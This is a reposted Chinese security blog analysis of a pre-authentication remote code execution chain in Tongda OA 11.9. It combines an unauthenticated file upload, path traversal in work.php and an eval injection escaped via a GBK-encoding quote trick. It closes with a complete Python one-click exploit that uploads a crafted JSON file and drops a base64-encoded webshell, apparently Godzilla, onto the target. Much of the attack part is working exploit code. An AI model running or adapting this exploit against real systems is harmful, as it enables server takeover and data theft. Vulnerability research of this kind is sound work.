【转】通达oa11.9前台getshell漏洞分析

admin 2022年12月22日12:22:58评论28 views字数 7462阅读24分52秒阅读模式


【转】通达oa11.9前台getshell漏洞分析

免责 声明 

LR SEC /

LR SEC

(1)由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,听雨安全团队以及文章作者不为此承担任何责任。

(2)听雨安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。

(3)未经听雨安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

(4)拥护中国共产党,支持党和国家的一切决定,不忘初心,牢记使命。

(5)临近HW期间,请勿相信“非”听雨安全微信公众号推送的技术链接和文章,以免受到不必要的损失。


审计准备

LR SEC /

01


【转】通达oa11.9前台getshell漏洞分析

通达oa下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe

源码解密:SeayDzend.exe


漏洞分析

LR SEC /

02


【转】通达oa11.9前台getshell漏洞分析

前台文件上传点

/mobile/api/api.ali.php无需登录,可以上传文件,但无法上传php等敏感类型文件
【转】通达oa11.9前台getshell漏洞分析

测试上传数据包
【转】通达oa11.9前台getshell漏洞分析

其中2203目录是取的日期,而1130028766是随机的字符串,可以在源码中看到

【转】通达oa11.9前台getshell漏洞分析

【转】通达oa11.9前台getshell漏洞分析

eval函数参数可控

incpackagebusinessAllVariableBusinessProcessing.php文件中的$variableData变量由传入的$BackData['dataAnalysis']赋值,存在可控点


【转】通达oa11.9前台getshell漏洞分析

incpackageDataTransport.phpbackData()方法中调用了backDataAnalysis()方法,而在acceptData()方法中调用了backData()方法,继续看acceptData()方法的代码

public function acceptData($id)
{
$json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
$data = $this->analysisJson($json_file);
$query = "select * from file_transfer_address where system_address ='" . $data["send_url"] . "'";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
$receive = $ROW["id"];
}

if ($data["type"] == "send") {
$modular = $data["modular"];
include_once "inc/package/business/" . $modular . "BusinessProcessing.php";
$BusinessProcess = $modular . "BusinessProcessing";
$BusinessProcessing = new $BusinessProcess();
$new_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id;
$data["fileAddress"] = $this->getFile($id, $data["fileList"]);
$new_data = json_decode($data["organizeData"], true);
$new_data["fileAddress"] = $data["fileAddress"];
$new_data["send"] = $receive;
$new_data["receive"] = $receive;
$new_data = json_encode($new_data);
$dataAnalysis = $BusinessProcessing->dataAnalysis($new_data);

if ($dataAnalysis) {
$runId = $data["Id"];
$query = "select * from file_transfer_address where id = '999'";
$cursor = exequery(TD::conn(), $query);

if ($ROW = mysql_fetch_array($cursor)) {
$send_url = $ROW["system_address"];
}

$backData = array("id" => $data["id"], "type" => "back", "send_url" => $send_url, "send" => $receive, "receive" => $receive, "modular" => $modular, "dataAnalysis" => $dataAnalysis);
$json_file = $this->makeJson($backData);
$redis = TRedis::redis();
$message = array("json" => $json_file, "netid" => $receive);
$redis->hmset("syn:send:data:" . $id, $message);
$time = time();
$redis->zadd("syn:orig:list", $time, $id);
}
}
else {
$data["send"] = $receive;
$data["receive"] = $receive;
$this->backData($data);
}

return "+OK";
}

重点关注这几行代码

public function acceptData($id)
{
$json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
$data = $this->analysisJson($json_file);
......
$this->backData($data);

而在/inc/package/work.php又调用了acceptData()方法,并且没有权限校验,其中$id直接传入到语句中,存在目录穿越,可以读取任意地方的 json 文件然后进行 json 格式解码后赋值给$data
【转】通达oa11.9前台getshell漏洞分析

这里就和前面的文件上传组合起来构成一条利用链,剩下的就是要构造上传的文件内容。

回到eval()函数点
【转】通达oa11.9前台getshell漏洞分析

重点注意这几行代码即可

static public function backDataAnalysis($BackData) 
{
$variableData = $BackData['dataAnalysis'];
$variableData = json_decode($variableData, true);
$variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));

因为这是个json文件,并且在前面的acceptData()方法中进行了json_decode(),所以文件内容需要为json格式,同时为了满足跳转到backDataAnalysis方法,起初构造如下

{"modular":"AllVariable","dataAnalysis":"{"aaa":"bbb"}"}

按照源码写一个测试脚本,目的是为了debug

<?php

$BackData = array("modular"=>"AllVariable","dataAnalysis"=>"{"aaa":"bbb"}");
var_dump($BackData);
dotast($BackData);
function dotast($BackData){;
$variableData = $BackData['dataAnalysis'];
$variableData = json_decode($variableData, true);
echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
$variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
dotast($BackData);
?>

开启debug,走到eval()函数后,内容如图
【转】通达oa11.9前台getshell漏洞分析

如果我们能在bbb处逃逸出单引号,闭合剩下的语句,就可以实现代码执行,即想实现如下代码效果

<?php
return array (
'a' => 'bbb',eval(xxxx));/*',
);

但我们知道即使加上了一个单引号,也会进行转义,逃逸失败

<?php
return array (
'a' => 'bbb',eval(xxxx));/*',
);

如果再多出一个转义符号呢?多出的转义符会将第二个进行转义,实现单引号闭合,成功逃逸。所以我们接下来需要想办法构造出一个转义符

<?php
return array (
'a' => 'bbb\',eval(xxxx));/*',
);

注意看前面的代码echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));,精彩的地方在于这里使用了iconv()把utf-8编码转成GBK编码,我们写一个 python 自动脚本帮我们寻找哪些汉字可以在进行转换后末尾带符号

# -- coding:UTF-8 --
# Author:dota_st
# Date:2022/3/12 20:30
# blog: www.wlhhlc.top
import random

def Unicode():
val = random.randint(0x4e00, 0x9fbf)
return chr(val)

while 1:
create_s = Unicode()
for i in create_s:
test = i.encode('gbk')
for j in test:
if ascii(j) == '92':
print('ok:', i)

【转】通达oa11.9前台getshell漏洞分析

使用汉字一枚,构成如下php测试脚本

<?php

$BackData = array("modular"=>"AllVariable","evil"=>"ZmlsZV9wdXRfY29udGVudHMoJ2RvdGFzdC5waHAnLCc8P3BocCBwaHBpbmZvKCk7Jyk7","dataAnalysis"=>"{"aaa":"覾',eval(base64_decode($BackData[evil])));/*"}");
var_dump($BackData);
dotast($BackData);
function dotast($BackData){;
$variableData = $BackData['dataAnalysis'];
$variableData = json_decode($variableData, true);
//var_dump($variableData);
echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
$variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
dotast($BackData);
?>
【转】通达oa11.9前台getshell漏洞分析

debug走起,在走到eval()的时候,语句内容如下
【转】通达oa11.9前台getshell漏洞分析
成功实现逃逸,并且代码执行成功,生成 php 文件
【转】通达oa11.9前台getshell漏洞分析   


组合链

LR SEC /

03


【转】通达oa11.9前台getshell漏洞分析

前面我们已经知道/mobile/api/api.ali.php可以上传 json 文件,而incpackagework.php可以实现读取 json 文件,可以组合起来形成一条代码执行的利用链。但还有一个问题需要解决,就是上传的文件名格式如下
【转】通达oa11.9前台getshell漏洞分析

前面的几位数字是随机的无法进行猜解,并且测试?通配符不可用,但可以利用 windows 上的一个特性

windows系统在处理文件名的时候,FindFirstFileExW()/FindFirstFile()这两个API会对< > "这三个字符做特殊处理,效果分别对应Linux下的通配符* ? .

所以我们可以用>来代替?实现匹配文件,如此便可成功构造出一条前台 getshell 利用链。最后使用 python 编写一键 getshell 脚本

 

import requests
import time

url = "http://192.168.1.103"

shell = "ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2RvdGFzdC5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFLUUhObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbTRnSkVRN0NuMEtKSEJoYzNNOUozQmhjM01uT3dva2NHRjViRzloWkU1aGJXVTlKM0JoZVd4dllXUW5Pd29rYTJWNVBTY3pZelpsTUdJNFlUbGpNVFV5TWpSaEp6c0thV1lnS0dsemMyVjBLQ1JmVUU5VFZGc2tjR0Z6YzEwcEtYc0tJQ0FnSUNSa1lYUmhQV1Z1WTI5a1pTaGlZWE5sTmpSZlpHVmpiMlJsS0NSZlVFOVRWRnNrY0dGemMxMHBMQ1JyWlhrcE93b2dJQ0FnYVdZZ0tHbHpjMlYwS0NSZlUwVlRVMGxQVGxza2NHRjViRzloWkU1aGJXVmRLU2w3Q2lBZ0lDQWdJQ0FnSkhCaGVXeHZZV1E5Wlc1amIyUmxLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZExDUnJaWGtwT3dvZ0lDQWdJQ0FnSUdsbUlDaHpkSEp3YjNNb0pIQmhlV3h2WVdRc0ltZGxkRUpoYzJsamMwbHVabThpS1QwOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUndZWGxzYjJGa0xDUnJaWGtwT3dvZ0lDQWdJQ0FnSUgwS0NRbGxkbUZzS0NSd1lYbHNiMkZrS1RzS0lDQWdJQ0FnSUNCbFkyaHZJSE4xWW5OMGNpaHRaRFVvSkhCaGMzTXVKR3RsZVNrc01Dd3hOaWs3Q2lBZ0lDQWdJQ0FnWldOb2J5QmlZWE5sTmpSZlpXNWpiMlJsS0dWdVkyOWtaU2hBY25WdUtDUmtZWFJoS1N3a2EyVjVLU2s3Q2lBZ0lDQWdJQ0FnWldOb2J5QnpkV0p6ZEhJb2JXUTFLQ1J3WVhOekxpUnJaWGtwTERFMktUc0tJQ0FnSUgxbGJITmxld29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkdSaGRHRXNJbWRsZEVKaGMybGpjMGx1Wm04aUtTRTlQV1poYkhObEtYc0tJQ0FnSUNBZ0lDQWdJQ0FnSkY5VFJWTlRTVTlPV3lSd1lYbHNiMkZrVG1GdFpWMDlaVzVqYjJSbEtDUmtZWFJoTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtmUW89IikpOw=="

dir_path1 = time.strftime('%y%m',time.localtime(time.time()))
dir_path2 = 'dotast'
files = {"file":(dir_path2+".json",'{"modular":"AllVariable","dotast":"%s","dataAnalysis":"{\"abc\":\"覾',eval(base64_decode($BackData[dotast])));/*\"}"}'%shell, "application/octet-stream")}
res1 = requests.post(url+"/mobile/api/api.ali.php",files=files)

for i in range(12,4,-1):
dir_path0 = '>'*i
source_code = requests.get(url+"/inc/package/work.php?id=../../../../../myoa/attach/approve_center/{dir_path1}/{dir_path0}.{dir_path2}".format(dir_path1=dir_path1,dir_path0=dir_path0,dir_path2=dir_path2))
if "OK" in source_code.text:
print(f"33[1;34m[*]生成哥斯拉shell: {url}/dotast.php 默认密码33[0,")
exit()

【转】通达oa11.9前台getshell漏洞分析


总结

LR SEC /

04


【转】通达oa11.9前台getshell漏洞分析

OA经过几轮的版本更新后,如今已难再找到前台触发的漏洞,但后台漏洞依然不少     


【转】通达oa11.9前台getshell漏洞分析

本文转载于奇安信攻防社区:https://forum.butian.net/share/2049     


点击链接  / 关注我们














原文始发于微信公众号(听雨安全):【转】通达oa11.9前台getshell漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日12:22:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【转】通达oa11.9前台getshell漏洞分析http://cn-sec.com/archives/1476427.html

发表评论

匿名网友 填写信息